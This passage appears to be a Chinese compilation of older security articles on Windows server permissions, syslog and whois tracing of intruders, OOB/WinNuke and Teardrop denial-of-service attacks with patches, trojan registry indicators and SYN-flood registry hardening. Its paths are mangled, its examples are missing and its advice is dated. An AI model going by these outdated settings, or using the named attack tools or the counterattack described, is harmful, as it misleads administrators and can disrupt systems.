TERMINAL SERVER Users(如果有这个用户)

修改,读取和运行,列出文件夹目录,读取,写入

Users 读取和运行,列出文件夹目录,读取

如果安装了我们的软件:

c:Program FilesLIWEIWENSOFT

Everyone 读取和运行,列出文件夹目录,读取

administrators 全部

IIS_WPG 读取和运行,列出文件夹目录,读取

c:Program FilesDimac(如果有这个目录)

Everyone 读取和运行,列出文件夹目录,读取

administrators 全部

c:Program FilesComPlus Applications (如果有)

administrators 全部

c:Program FilesGflSDK (如果有)

administrators 全部

Creator owner

不是继承的

只有子文件夹及文件

完全

Power Users

修改,读取和运行,列出文件夹目录,读取,写入

system 全部

TERMINAL SERVER Users

修改,读取和运行,列出文件夹目录,读取,写入

Users 读取和运行,列出文件夹目录,读取

Everyone 读取和运行,列出文件夹目录,读取

c:Program FilesInstallShield Installation Information (如果有)

c:Program FilesInternet Explorer (如果有)

c:Program FilesNetMeeting (如果有)

administrators 全部

c:Program FilesWindowsUpdate

Creator owner

不是继承的

只有子文件夹及文件

完全

administrators 全部

Power Users

修改,读取和运行,列出文件夹目录,读取,写入

system 全部

D:分区部分:

d: (如果用户网站内容放置在这个分区中)

administrators 全部权限

d:FreeHost (如果此目录用来放置用户网站内容)

administrators 全部权限

SERVICE 全部权限

E:分区部分:

从安全角度,我们建议WebEasyMail(WinWebMail)安装在独立的盘中,例如E:

E:(如果webeasymail安装在这个盘中)

administrators 全部权限

system 全部权限

IUSR_*,默认的Internet来宾帐户(如果这个网站用这个用户来运行)

不是继承的

只有子文件夹

读取权限

E:WebEasyMail (如果webeasymail安装在这个目录中)

administrators 全部

system 全部权限

SERVICE 全部

IUSR_*,默认的Internet来宾帐户 全部权限(如果这个网站用这个用户来运行)

关于IUSR_*,我们不建议用这个用户来运行Webeasymail,应该用平台开一个虚拟主机来运行Webeasymail。

----------------不知道2000是不是一样设置

如何查看系统记录以及追踪系统入侵者

如何查看系统记录以及追踪系统入侵者

作者:awe 来源:bbs.tech.ccidnet.com 

前言

通信过程的纪录设定

记录到哪边去?

地理位置的追踪

Domain Name命名的三种情况

在局域网络上可能你听过所谓“广播模式”的资料发送方法,此种方法不指定收信站,只要和此网络连结的所有网络设备皆为收信对象。但是这仅仅在局域网络上能够实行,因为局域网络上的机器不多(和Internet比起来)。如果象是Internet上有数千万的主机,本就不可能实施资料广播(至于IP Multicast算是一种限定式广播 Restricted Broadcast,唯有被指定的机器会收到,Internet上其他电脑还是不会收到)。假设Internet上可以实施非限定广播,那随便一个人发出广播讯息,全世界的电脑皆受其影响,岂不世界大乱?因此,任何局域网络内的路由器或是类似网络设备都不会将自己区域网络内的广播讯息转送出去。万一在WAN Port收到广播讯息,也不会转进自己的LAN Port中。

而既然网络皆有发信站与收信站,用以标示信息发送者与信息接收者,除非对方使用一些特殊的封包封装方式或是使用防火墙对外连线,那么只要有人和你的主机进行通讯(寄信或是telnet、ftp过来都算) 你就应该会知道 对方的位址,如果对方用了防火墙来和你通讯,你最少也能够知道防火墙的位置。也正因为只要有人和你连线,你就能知道对方的位址,那么要不要知道对方位置只是要做不做的问题而已。如果对方是透过一台UNIX主机和你连线,则你更可以透过ident查到是谁和你连线的。

在实行TCP/IP通讯协定的电脑上,通常可以用netstat指令来看到目前连线的状况。

各位朋友可以在win95、Novell以及UNIX试试看,在下面的连线状况中,netstat指令是在win95上实行的,可以看到目前自己机器(Local Address处)的telnetport有一台主机workstation.variox.int 由远端(Foreign Address处)连线进来并且配到1029号tcp port.而cc unix1主机也以ftpport连到workstation.variox.int去。所有的连线状况看得 一清二楚。(如A、B)

A.在UNIX主机(ccunix1.variox.int)看netstat

B.另一端在Windows95(workstation.variox.int)看netstat, 虽然是不同的作业系统,但netstat是不是长得很像呢?

通信过程的纪录设定

当然,如果你想要把网络连线纪录给记录下来,你可以用cron table定时去跑:

netstat>>filename

但是UNIX系统早已考虑到这一个需求,因此在系统中有一个专职记录系统事件的

Daemon:syslogd,应该有很多朋友都知道在UNIX系统的/var/adm下面有两个系统纪录档案:

syslog与messages,一个是一般系统的纪录,一个是核心的纪录。但是这两个档案是从哪边来的,又要如何设定呢?

系统的纪录基本上都是由syslogd (System Kernel Log Daemon)来产生,而syslogd的控制是由/etc/syslog.conf来做的。syslog.conf以两个栏位来决定要记录哪些东西,以及记录到哪边去。下面是一个 Linux系统所附上的yslog.conf档案,这也是一个最标准的syslog.conf写法:

格式就是这样子,第一栏写「在什么情况下」以及「什么程度」。然后用TAB键跳下一栏继续写「符合条件以后要做什么」。这个syslog.conf档案的作者很诚实,告诉你只能用TAB来作各栏位之间的分隔(虽然看来好像他也不知道为什么)。 第一栏包含了何种情况与程度,中间小数点分隔。另外,星号就代表了某一细项中的所有选项。详细的设定方式如下:

1.在什么情况:各种不同的情况以下面的字串来决定。

auth 关于系统安全与使用者认证方面

cron 关于系统自动排程执行(CronTable)方面

daemon 关于背景执行程式方面

kern 关于系统核心方面

lpr 关于印表机方面

mail 关于电子邮件方面

news 关于新闻讨论区方面

syslog 关于系统纪录本身方面

user 关于使用者方面

uucp 关于UNIX互拷(UUCP)方面

上面是大部份的UNIX系统都会有的情况,而有些UNIX系统可能会再分出不同的项目出来。

2.什么程度才记录:

下面是各种不同的系统状况程度,依照轻重缓急排列。

none 不要记录这一项

debug 程式或系统本身除错讯息

info 一般性资讯

notice 提醒注意性

err 发生错误

warning 警告性

crit 较严重的警告

alert 再严重一点的警告

emerg 已经非常严重了

同样地,各种UNIX系统可能会有不同的程度表示方式。有些系统是不另外区分crit与alert的差别,也有的系统会有更多种类的程度变化。在记录时,syslogd 会自动将你所设定程度以及其上的都一并记录下来。例如你要系统去记录 info等级的事件,则notice、err.warning、crit、alert、emerg等在info等级以上的也会一并被记录下来。 把上面所写的1、2项以小数点组合起来就是完整的「要记录哪些东西」的写法。

例如 mail.info表示关于电子邮件传送系统的一般性讯息。auth.emerg就是关于系统安全方面相当严重的讯息。 lpr.none表示不要记录关于列表机的讯息(通常用在有多个纪录条件时组合使用)。另外有三种特殊的符号可供应用:

1.星号(*) 星号代表某一细项中所有项目。例如mail.*表示只要有关mail的,不管什么程度都要记录下来。而*.info会把所有程度为info的事件给记录下来。

2.等号(=)等号表示只记录目前这一等级,其上的等级不要记录。例如刚刚的例子,平常写下info等级时,也会把位于info等级上面的notice、err.warning、crit、alert、emerg等其他等级也记录下来。但若你写=info则就只有记录info这一等级了。

3.惊叹号(!) 惊叹号表示不要记录目前这一等级以及其上的等级。

记录到哪边去?

一般的syslogd都提供下列的管道以供您记录系统发生的什么事:

1.一般档案

这是最普遍的方式。你可以指定好档案路径与档案名称,但是必须以目录符号「/」开始,系统才会知道这是 一个档案。例如/var/adm/maillog表示要记录到/var/adm下面一个称为maillog的档案。如果之前没有这个档案 ,系统会自动产生一个。

2.指定的终端机或其他设备

你也可以将系统纪录写到一个终端机或是设备上。若将系统纪录写到终端机,则目前正在使用该终端机的使 用者就会直接在萤幕上看到系统讯息(例如/dev/console或是/dev/tty1.你可以拿一个萤幕专门来显示系统讯息 )。若将系统纪录写到印表机,则你会有一长条印满系统纪录的纸(例如/dev/lp0)。

3.指定的使用者

你也可以在这边列出一串使用者名称,则这些使用者如果正好上线的话,就会在他的终端机上看到系统讯息( 例如root,注意写的时候在使用者名称前面不要再加上其他的字)。

4.指定的远端主机

这种写法不将系统讯息记录在连接本地机器上,而记录在其他主机上。有些情况系统碰到的是硬碟错误,或是万一有人把主机推倒,硬碟摔坏了,那你要到哪边去拿系统纪录来看呢?而网络卡只要你不把它折断,应该是比硬碟机耐摔得多了。因此,如果你觉得某些情况下可能纪录没办法存进硬碟里,你可以把系统纪录丢到其他的主机上。如果你要这样做,你可以写下主机名称,然后在主机名称前面加上「@」符号(例如@ccunix1.variox.int,但被你指定的主机上必须要有syslogd)。

在以上各种纪录方式中,都没有电子邮件这项。因为电子信件要等收件者去收信才看得到, 有些情况可能是很紧急的, 没办法等你去拿信来看(BSD的Manual Page写着「when you got mail,it’s already too late...」 :-P)。以上就是syslog各项纪录程度以及纪录方式的写法,各位读者可以依照自己的需求记录下自己所需要的内容。但是这些纪录都是一直堆上去的,除非您将档案自行删除掉,否则这些档案就会越来越大。有的人可能会在syslogd.conf里面写:*.*/var/log/everything要是这样的话,当然所有的情况都被你记录下来了。但是如果真的系统出事了,你可能要从好几十MB甚至几百MB的文字中找出到底是哪边出问题,这样可能对你一点帮助都没有。因此,以下两点可以帮助你快速找到重要的纪录内容:

1.定期检查纪录

养成每周(或是更短的时间,如果你有空的话)看一次纪录档的习惯。如果有需要将旧的纪录档备份,可以 cploglog.1,cploglog.2...或是cploglog.971013,cploglog.980101...等,将过期的纪录档依照流水号或是日期存起来,未来考察时也比较容易。

2.只记录有用的东西

千万不要像前面的例子一样,记录下*.*。然后放在一个档案中。这样的结果会导致档案太大,要找资料时根本无法马上找出来。有人在记录网络通讯时,连谁去ping他的主机都记录。除非是系统已经遭到很大的威胁,没事就有人喜欢尝试进入你的系统,否则这种鸡毛蒜皮的小事可以不用记录。可以提升些许系统效率以及降低硬盘使用量(当然也节省你的时间)。

地理位置的追踪

如何查出入侵者的地理位置?光看IP地址可能看不出来,但是你常看的话,会发现也会发现规律的。在固接式的网络环境中,入侵者一定和网络提供单位有着密切的关系。因为假设是局域网络,那么距离绝对不出几公里。就算是拨接好了,也很少人会花大笔钱去拨外县市甚至国外的拨接伺服器。因此,只要查出线的单位,入侵者必然离连线单位不远。

拨接式的网络就比较令人头疼了。有许多ISP为了吸引客户,弄了很多什么网络卡。

User这边只要买了固定的小时数,不需须另外向ISP那边提出申请,就可以按照卡片上的说明自行拨接上网。这样当然可以吸引客户,但是ISP就根本无从得知是谁在用他们的网路。也就是说,虽然以网络卡提供拨接服务给拨接使用者带来相当大的便利,但却是系统安全的大敌,网络管理员的恶梦。如果入侵你的人是使用网络卡来上网,那……,要从拨号的地点查吗?入侵者可以不要用自己家里的电话上网。管它是偷是抢,或是盗打王八机,反正查到的发话来源绝不是入侵者自己的电话。

来话者电话侦测(Caller ID)

各位读者家中有ISDN吗?如果你用过ISDN的Caller ID功能,会发现真是方便极了,对方的号码马上就显示出来给你看。看到女朋友打电话来,马上就接了起来;而杂志社的打来催稿,就打开电话答录机假装不在家…… :-P.但是Caller ID依然有失效的时候。有以下测试,是看CallerID可以显示出哪些号码的(受测机种为Zyxel,终端机使用Windows NT的Hyper Terminal):要显示来话方号码的前提是,对必须是透过数位交换机打到你这边,有些地区目前仍然使用机械式交换机,如果你打电话的交换路径中,有经过这些机械式的交换机,那么依然无法显示出号码来。其他电话还没有做测试。

如何靠IP地址或Domain Name找出入侵者位置?

虽然电话不一定查得出来,但是至少你会知道他的IP地址。IP地址的使用必须向InterNIC登记,而Domain Name要向当地直属的网络管理中心登记。在Internet上的网路管理中心共有三个层级(单位性质一定为NET):

1.国际等级

国际等级只有InterNIC一个,全球各国的NIC以及洲际NIC均由其管理。

2.洲际等级

InterNIC并不直接管理整个Internet,其下的网络资源会再做分区。例如台湾、日本、香港等亚太地区国家 ,由亚太洲际网络管理中心(Asian-PacificNIC,APNIC,位于日本)来管理,并不直接由InterNIC管理 。

3.国家等级

Domain Name后面不挂国码的不是由InterNIC管理就是由洲际的NIC管理,但是有挂国码的由当地国家之NIC管理,惯例是两位国码加上NIC就是该国NIC之名称。例如中国的国码为CN,则中国网络管理中心为CNNIC,但由于InterNIC位于美国,因此美国的DomainName由InterNIC直辖。有一个特别的例外是挂.mil的美国军方网络的资料是由ddn.mil(美国军事防卫网络)来管理,不由InterNIC管理,当您得到某个Domain Name或是IP地址后,可以使用whois来查出资料,语法如下:

  whois -h<whois服务器><查询对象>

  例如向whois.internic.net查询hp.com,需输入:

  whois -h whois.internic.nethp.com whois

  也可能使用下列语法:

  whois <查询对象>@<whois伺服器>

  例如向whois.twnic.net查询ntu.edu.tw需输入:

  whois ntu.edu.tw@whois.twnic.net

  目前在Slackware Linux附上的为后者。

Domain Name命名的三种情况

虽然同样是 Domain Name,可能你会遇到三种命名的不同情况。在许多国家*.edu.*是由NIC以外的单位所管理( 如育部),而属性也不一定是三个字母,甚至没有属性。在判断单位性质时读者宜多加注意,以免找不到资料。

1.标准国码+三码属性码(或没有国码,仅有属性码)

普遍使用于欧洲,美洲国家以及部份东南亚国家。如台湾常见*.edu.tw、*.com.tw,美国的*.com、*.edu。

2.标准国码+二码属性码

以日本例,公司属性为co,社团属性为or,和三码定义的com、org略有不同。如日本万代公司之Homepage 为www.bandai.co.jp,如果读者要使用公司名称拼凑出完整主机名称时,需注意日本为仅有两码属性码之地区,否则若猜测其为www.bandai.com.jp就会发生错误(注:在国际通信范例中,无论是无线电通信、国际越洋电 话、乃至于网际网络等,均将台湾与中国大陆划分为两个不同国家。在此将中国大陆与台湾区分,除突显此一 特性外,并无其他涵义,请大家勿需自行揣测其他意义)。

3.仅有标准国码,未有任何属性码

如澳洲的主机均为仅有*.au之主机名称,未有任何其他的com、co、或任何单位属性码后面直接接上单位名称。

由Domain Name查出连线单位资料

在Internet上惯例由whois服务来查询连线单位的登记资料,whois本来应该是用来查某人的电话或是其他资料的,但是在NIC方面是用来查出连线单位的电话以及住址,技术联络人等。符合该NIC管理权限的单位资料 会存放于该单位的whois主机中,惯例是whois+NIC名称+net。例如亚太地区网络管理中心whois server为whois.apnic.net,台湾网络中心whois server为whois.twnic.net,我过网络中心whois server是whois.cnnic.net。当你知道某台主机的Domain Name以后,可以依照下面顺序查出连线单位的电话住址等资料。

第一步,先看有没有国码。

没有国码的,向whois.internic.net问;有国码的,向whois.国码nic.net问

(ex.whois.twnic.net)。

另外,如果你要查美国军事单位的联络明细(假如某天你发现有人利用美国海军的网络来入侵你的电脑)则你需要向nic.ddn.mil查询,方可查到资料。例如查出美国陆军的资料:但FBI等调查机构属政府单位,非军事单位,查询时需注意:由DomainName查出资料,如您能从nslookup查出某一IP地址之FQDN,则可以直接向当地NIC查出入侵者网络之资料:

1.由美国入侵的例子:

由 xxx.aol.com入侵由主机名称发现未有国码, 因此直接向InterNIC查询。由此我们可以查到America Online的技术负责人以及电话、传真等资料,把你的系统纪录档准备好,发封传真去告洋状吧!

2.由台湾入侵的例子:

由HopeNet入侵(cded1.hope.com.tw)由于TWNIC目前whois资料库不知怎么的不见了,故请改由 dbms.seed.net.tw查出hope.com.tw之中文名称,再打104询问该公司的电话!现在如果直接由whois.twnic.net 查询会这样:

只有IP地址的查法

若某天您发现由168.95.109.222有人入侵,假设您不知道这是哪里的网络,而这个IP地址也没有Domain Name 的话,则须先将IP地址分等级,再向InterNIC查询: (以下作为范例之位址均为虚构,如有雷同,纯属巧合)。

1.由15.4.75.2入侵的例子:

此IP地址是15开头,为一个ClassA网络,故向InterNIC查询15.0:查出此IP地址为惠普公司所有

2.由140.111.32.53入侵的例子:

此IP地址为ClassB,需查询两次。先向InterNIC查询140.111.0:查出为台湾教育部所有。再向 whois.twnic.net查询140.111.32.0:

3.由203.66.35.1入侵的例子

这是一个ClassCIP,因此必须查询至少二次,一般是三次。顺序为国际->洲际->所属国家。先查203.0:出来一大堆,怎么办?有的情况只好再追问ClassB。由于InterNIC将部份ClassC交给洲际管理机构来负责配给,因此有些ClassC的资料会在洲际管理机构,此时先向InterNIC查出所属洲际管理机构(用ClassB问)。问到 203.66为亚太地区洲际网络,于是向whois.apnic.net询问203.66.35.0:查了三次以后,终于查到203.66.35.0 为:

在一堆资料中查到203.66.35.1,此一IP地址为ForwardnessTechnologyCo.Ltd.所有,电话地址也一并附在上面。

由以上的查法,可以由任一主机名称或IP地址查到连线者网络单位的资料,如果您发现该网络单位下属主机对您的网络有攻击行为,请检具资料告诉对方的系统管理员(对方不一定接受)。下面是Windows95的hosts档案:当您没有DNS的时候,您可以拿这个来将DomainName<->IP地址的对应工作做好。写法就和UNIX一样。Microsoft的这个hosts档案写的是给chicago用的,这是windows95的开发代号,看见没?(看来Microsoft出windows95时太赶,忘了修正这些小东西), 不过各位读者要注意的是,原先的hosts档案档名是hosts.sam,您要自己将档名改成hosts才能用。

注:几乎所有使用TCP/IP通讯协定的机器都会有hosts、network等档案。这是所有TCP/IP系统的共通习惯(但只有 Microsoft的软体会有lmhosts来配合Microsoft自己的wins域名解译系统)。如果读者有注意到的话,可以发现 Novell Netware服务器也有一个etc目录,还有hosts等档案!

针对几种常见IP地址攻击的防范措施

作者:黑白网络 来源:黑白网络

一、攻击的简单机理。

好多网上用户都有这样的经历,在聊天室里与网友谈的正高兴突然机器蓝屏,必须重起。也经常有的ISP的NT SERVER遭到莫名的攻击。更令人难受的是一个网吧或企业的所有机器几乎同时蓝屏当机。很大的可能是这些机器遭到了OOB攻击。何谓OOB攻击,其实,攻击者是利用Windows下微软网络协定NetBIOS的一个例外处理程序OOB(Out of Band)的漏洞。只要有人以OOB的方式,通过TCP/IP传递一个小小的包到某个IP地址的某个开放的受端上(一般为139)。使没有防护或修订的win95/nt系统瞬间当机。NT将会重新启动,95则一般要手动重起。有的补丁尽管可使机器可用ESC退出蓝屏,正常工作,但不重起,就无法访问tcp/ip类型的网络。除了139,其他可能的oob开放的受端,如137、138、113等等,均有可能遭到攻击。当然95系列的不稳定性,也是众所周知的,因此大不必把一切蓝屏死机都归罪到oob的头上。一般的95遭受oob攻击的典型蓝屏提示形如:

Fatal exception 0E at 0028: in VxD MSTCP(01)+000041AE

This was called from 0028: in VxS NDIS(01)+0000D7C

需要说明的是,这种类型的攻击主要的对象是没有打过补丁95 和NT有效,而对98无效,但根据最新的资料,有人已经发现了WIN98的TCP/IP协议栈的漏洞,并发布了针对这一漏洞的工具,据称,这种攻击将使98蓝屏,用ESC返回后,同样不能访问TCP/IP资源必须重起,在本文即将完成时,我收到了一组程序UNIX C,根据程序的说明有两个程序可以对98进行攻击,大概的机理好象分别是对95/98的ICMP协议和对IGMP协议进行DoS(Denial of Service,拒绝服务)攻击。依照经验,此类攻击一般是利用目标机器协议上的一些漏洞,连续发送大型的破碎数据包,形成packets的风暴,造成目标机器当机。但是由于时间关系,笔者已经来不及作出分析测试,只能给网友一个提醒,98也不能高枕无忧。(补丁在此)

二、几种典型的攻击工具

NUKE、WINNUKE及其变种,现在网上流行的OOB攻击工具已经从最初的简单选择IP攻击PORT139,发展为可攻击某一IP范围,可连续攻击,可验证攻击效果,可监测及选择端口,因此,常常出现某一区段全部蓝屏死机的结果。

SSPING:SSPING是一种出色的ip攻击工具,它的机理是,向被攻击的ip连续发出破碎的大型ICMP数据包,被攻击的95系统试图将破碎包合并处理,从而造成当机。

TEARDROP(泪滴):泪滴也是采用碎片包攻击的一种远程攻击工具,他的最大的特点是除了95/nt外,可攻击linux。

三、OOB攻击的防范

由于目前微软尚未就98的ICMP和IGMP漏洞作出反应,因此只能介绍OOB攻击的防范。

(一)手动防范

WIN3.X

编辑SYSTEM.INI,找到[MSTCP],

下面加入BSDUrgent=0

Windows 95

编辑注册表Regedit

在HKEY-LOCAL-

MACHINE/System/CurrentControlSet/Services/VxD/MSTCP

下加入一个 "BSDUrgent=0"。

并把VNBT.386更名为VNBT.BAK

这可以让95关闭其netbios的服务,但这也使机器丧失了MICROSOFT

网络的Pier-to-Pier打印与文件共享功能。

(二)原厂补丁与安装要点

win95

微软95与此BUG相关的补丁较多,请大家注意,一定要按照步骤安

装。

1:安装MS DUN12升级文件并重启动,(下载MSDUN12.EXE)。

2、安装WINSOCK升级文件并重启动,(下载WS2SETUP.EXE)。

3、安装WINSOCK22补丁并重启动,(文件名一般为VIPUP20.EXE)。

至此系统可防范部分IP攻击的工具如SSPING和TEARDROP(泪滴)

4、安装补丁文件VTCPUP20.EXE并重启动(下载VTCPUP20.EXE)。

5、将VNBT386更名为VNBT。BAK或者修正VNBT(运行VNBT.EXE)并重起。

可防范WINNUKE等工具。

WIN3X的防范

WIN3X似乎没有相应的补丁,请参考前面手动处理。

NT4

1、安装SERVICE PACK3及以上版本(下载SERVERCE6中文版)

2、安装针对泪滴2等攻击工具的补丁(下载TEARFIXI.EXE)。

NT3。51

1、针对X86和APLHA芯片不同的NT要分别打一个补丁,

而后升级到SERVICE PACK5。

WIN98

尚未发现类似漏洞。

——————

防止WIN98的IGMP攻击补丁,请根据你98的版本选择合适的补丁。

98第一版IGMP补丁下载

98OEM-2版IGMP补丁下载

(三)防弹衣与第三方补丁简介

NOCRASH:NOCRASH的命名是因为有OOB攻击工具名称为CRASH,这个工具这似乎简单的修改注册表,以使NETBIOS功能失效的工具,对传统的基于PORT139的攻击比较有效,但并不能全面防范。而且会造成无法使用其他的的防弹衣。因此如果你上网比较方便,我们还是建议你下载微软的原厂补丁,或使用NUKENAGER。

ANTINUKE:这是早期的一个外挂式的程序,能防范针对139的攻击,并捕获攻击者的IP,但这个程序重要的特点是他会对攻击者进行反击,而且会使,一些探测139是否打开的工具溢出,另外这个程序在NT上也有效。这个程序的缺欠是:一、只能监听一个PORT,第二是会把网上邻居的方式对你机器的访问也误报为攻击。

NUKENAB:这是目前功能比较完善的一个防弹衣,除了系统自身设定监听的5个PORT之外,你还可以指定系统监听的一个端口,(一般我们指定为113)即总共可以监听6个端口。他可以捕获攻击者的IP,另外系统提供了一些自定义参数,如端口开放与关闭、受到攻击时所发出的声音等等。另外,特别值得一提的是,当你发现有人用BO、NETBUS等黑客工具入侵你时,你可以用NUKENAB监听对应的开放端口发现他的地址。

修改注册表清除黑客程序保证计算机安全

修改注册表清除黑客程序保证计算机安全

作者:lulu 来源:赛迪网

在网络给我们的工作学习带来极大方便的同时,病毒、木马、后门以及黑客程序也严重影响着信息的安全。这些程序感染计算机的一个共同特点是在注册表中写入信息,来达到如自动运行、破坏和传播等目的。以下是笔者在网上收集的,通过修改注册表来对付病毒、木马、后门以及黑客程序,保证个人计算机的安全。

1.清理访问“网络邻居”后留下的字句信息

在HEKY_CURRENT_USER/Network/Recent下,删除下面的主键。

2.取消登陆时自动拨号

在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Network/RealModeNet下修改右边窗口中的“autologon”为“01 00 00 00 00”。

3.取消登录时选择用户

已经删除了所有用户,但登录时还要选择用户,我们要取消登录时选择用户,就要在HKEY_LOCAL_MACHINENetworkLogon下,在右边的窗口中,修改"UserProfiles"值为"0"。

4.隐藏上机用户登录的名字

在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionWinlogon下在右边的窗口中新建字符串"DontDisplayLastUserName",设值为"1"。

5.预防Acid Battery v1.0木马的破坏

在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices下若在右边窗口中如发现了“Explorer”键值,则说明中了YAI木马,将它删除。

6.预防YAI木马的破坏

在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices下若在右边窗口中如发现了“Batterieanzeige”键值,则说明中了YAI木马,将它删除。

7.预防Eclipse 2000木马的破坏

在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices下若在右边窗口中如发现了“bybt”键值,则将它删除。然后在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices下删除右边的键值“cksys”,重新启动电脑。

8.预防BO2000的破坏

在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices下若在右边窗口中如发现了“umgr32.exe”键值,则说明中了BO2000,将它删除。

9.预防爱虫的破坏

在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下若在右边窗口中如发现了“MSKernel32”键值,就将它删除。

10.禁止出现IE菜单中“工具”栏里“interner选项”

把c:windowssystem下的名为inetcpl.cpl更名为inetcpl.old或则别的名字后就会出现禁止使用的情况把名字再换回来,就可以恢复使用。

11.预防BackDoor的破坏

在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下若在右边窗口中如发现了“Notepad”键值,就将它删除。

12.预防WinNuke的破坏

在HKEY_LOCAL_MACHINESystemCurrentControlSetServicesVxDMSTCP下在右边的窗口中新建或修改字符串“BSDUrgent”,设其值为0。

13.预防KeyboardGhost的破坏

在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices下如发现KG.EXE这一键值,就将它删除,并查找KG.exe文件和kg.dat文件,将它们都删除

14.查找NetSpy黑客程序

在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下,在右边的窗口中寻找键"NetSpy",如果存在,就说明已经装有NetSpy黑客程序,把它删除.

修改注册表提高Win2000抗拒绝服务攻击

作者:kerry 来源:赛迪网

从正确看待DoS与DDoS说起

相信大家都一定不会对这两个这个词感到陌生,是的,拒绝服务攻击(Denial of Service),以及分布式拒绝服务攻击(Distributed Denial of Service)。

所谓拒绝服务,是指在特定攻击发生后, 被攻击的对象不能及时提供应有的服务,例如本来应提供网站服务(HTTP Service)而不能提供网站服务,电子邮件服务器(SMTP,POP3)不能提供收发信件等等的功能,基本上,阻绝服务攻击通常利用大量的网络数据包,以瘫痪对方之网络及主机,使得正常的使用者无法获得主机及时的服务。

分布式拒绝服务,简单的说就是用远超过目标处理能力的海量数据包消耗可用系统,以及网络带宽,造成网络服务瘫痪。

也许是和媒体的过分关注有关,DoS攻击特别是DDoS攻击,似乎一夜之间就流行了起来,搞的大大小小的网管们,只要服务器一有故障,就异常兴奋的高呼“我被DDoS了!”,脸上仿佛写着无比的光荣和骄傲。

其实在我们的周围,真正意义上的DDoS其实并不多,毕竟发动一次DDoS攻击所需要的资源非常的多,但实实在在的攻击却又不停的发生着,这里面,绝大多数,都是普通的拒绝服务攻击。普通级别的攻击,如何防护,也成为很多网络管理员最头疼的问题,于是到处打听,结果往往千篇一律,“购买我们的硬件防火墙吧”。硬件防火墙,包括专用抗拒绝服务攻击产品的确是好,但基本价格都十分昂贵,效果虽然好,可从投资以及保护投资的角度来说,未免有些过火。

其实从操作系统角度来说,本身就藏有很多的功能,只是很多是需要我们慢慢的去挖掘的。这里我给大家简单介绍一下如何在Win2000环境下修改注册表,增强系统的抗DoS能力。

细节:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters]'关闭无效网关的检查。当服务器设置了多个网关,这样在网络不通畅的时候系统会尝试连接'第二个网关,通过关闭它可以优化网络。

"EnableDeadGWDetect"=dword:00000000'禁止响应ICMP重定向报文。此类报文有可能用以攻击,所以系统应该拒绝接受ICMP重定向报文。"EnableICMPRedirects"=dword:00000000'不允许释放NETBIOS名。当攻击者发出查询服务器NETBIOS名的请求时,可以使服务器禁止响应。'注意系统必须安装SP2以上"NoNameReleaseOnDemand"=dword:00000001'发送验证保持活动数据包。该选项决定TCP间隔多少时间来确定当前连接还处于连接状态,'不设该值,则系统每隔2小时对TCP是否有闲置连接进行检查,这里设置时间为5分钟。"KeepAliveTime"=dword:000493e0'禁止进行最大包长度路径检测。该项值为1时,将自动检测出可以传输的数据包的大小,'可以用来提高传输效率,如出现故障或安全起见,设项值为0,表示使用固定MTU值576bytes。"EnablePMTUDiscovery"=dword:00000000'启动syn攻击保护。缺省项值为0,表示不开启攻击保护,项值为1和2表示启动syn攻击保护,设成2之后'安全级别更高,对何种状况下认为是攻击,则需要根据下面的TcpMaxHalfOpen和TcpMaxHalfOpenRetried值'设定的条件来触发启动了。这里需要注意的是,NT4.0必须设为1,设为2后在某种特殊数据包下会导致系统重启。"SynAttackProtect"=dword:00000002'同时允许打开的半连接数量。所谓半连接,表示未完整建立的TCP会话,用netstat命令可以看到呈SYN_RCVD状态'的就是。这里使用微软建议值,服务器设为100,高级服务器设为500。建议可以设稍微小一点。"TcpMaxHalfOpen"=dword:00000064'判断是否存在攻击的触发点。这里使用微软建议值,服务器为80,高级服务器为400。"TcpMaxHalfOpenRetried"=dword:00000050'设置等待SYN-ACK时间。缺省项值为3,缺省这一过程消耗时间45秒。项值为2,消耗时间为21秒。'项值为1,消耗时间为9秒。最低可以设为0,表示不等待,消耗时间为3秒。这个值可以根据遭受攻击规模修改。'微软站点安全推荐为2。

"TcpMaxConnectResponseRetransmissions"=dword:00000001'设置TCP重传单个数据段的次数。缺省项值为5,缺省这一过程消耗时间240秒。微软站点安全推荐为3。

"TcpMaxDataRetransmissions"=dword:00000003'设置syn攻击保护的临界点。当可用的backlog变为0时,此参数用于控制syn攻击保护的开启,微软站点安全推荐为5。

"TCPMaxPortsExhausted"=dword:00000005'禁止IP源路由。缺省项值为1,表示不转发源路由包,项值设为0,表示全部转发,设置为2,表示丢弃所有接受的'源路由包,微软站点安全推荐为2。

"DisableIPSourceRouting"=dword:0000002'限制处于TIME_WAIT状态的最长时间。缺省为240秒,最低为30秒,最高为300秒。建议设为30秒。

"TcpTimedWaitDelay"=dword:0000001e[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters]'增大NetBT的连接块增加幅度。缺省为3,范围1-20,数值越大在连接越多时提升性能。每个连接块消耗87个字节。

"BacklogIncrement"=dword:00000003'最大NetBT的连接快的数目。范围1-40000,这里设置为1000,数值越大在连接越多时允许更多连接。

"MaxConnBackLog"=dword:000003e8

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesAfdParameters]'配置激活动态Backlog。对于网络繁忙或者易遭受SYN攻击的系统,建议设置为1,表示允许动态Backlog。

"EnableDynamicBacklog"=dword:00000001'配置最小动态Backlog。默认项值为0,表示动态Backlog分配的自由连接的最小数目。当自由连接数目'低于此数目时,将自动的分配自由连接。默认值为0,对于网络繁忙或者易遭受SYN攻击的系统,建议设置为20。

"MinimumDynamicBacklog"=dword:00000014'最大动态Backlog。表示定义最大"准"连接的数目,主要看内存大小,理论每32M内存最大可以'增加5000个,这里设为20000。

